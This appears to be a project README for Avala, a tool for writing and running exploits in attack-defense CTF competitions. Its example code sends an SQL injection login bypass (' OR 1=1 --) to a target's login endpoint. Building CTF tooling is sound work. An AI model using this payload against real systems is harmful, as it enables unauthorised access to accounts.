⛰️ Avala — Develop and run exploits rapidly in A/D
Avala is a specialized tool built for rapid developing, testing, running and monitoring exploits in attack-defense CTF competitions. The goal of Avala is to take the technical burden off the team players, enabling them to focus on writing exploits and patching vulnerabilities.
from avala import exploit
import json
import requests
@exploit(service="foobar")
def attack(target: str, flag_ids: str):
url = f"http://{target}:5000/login"
username = json.loads(flag_ids)["username"]
payload = {"username": username, "password": "' OR 1=1 --"}
response = requests.post(url, json=payload)
return response.text
The development of Avala was heavily influenced by the practical experiences and valuable insights gathered by the Serbian National ECSC Team 🇷🇸 who utilized the tool in many A/D competitions.
Documentation
Documentation is available at lazicdusan.com/avala.
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